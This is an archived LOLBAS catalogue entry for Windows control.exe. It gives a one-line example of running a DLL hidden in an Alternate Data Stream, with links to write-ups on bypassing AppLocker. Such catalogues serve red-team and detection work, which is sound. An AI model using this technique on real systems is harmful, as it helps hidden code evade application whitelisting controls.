LOLBAS/Archive-Old-Version/OSBinaries/Control.exe.md

Control.exe

• Functions: Execute, Read ADS

control.exe c:\windows\tasks\file.txt:evil.dll
Execute evil.dll which is stored in an Alternate Data Stream (ADS).

• Resources:

  • https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/
  • https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/
  • https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
  • https://twitter.com/bohops/status/955659561008017409

• Full path:

  • C:\Windows\system32\control.exe
  • C:\Windows\sysWOW64\control.exe

• Notes: Thanks to Jimmy - @bohops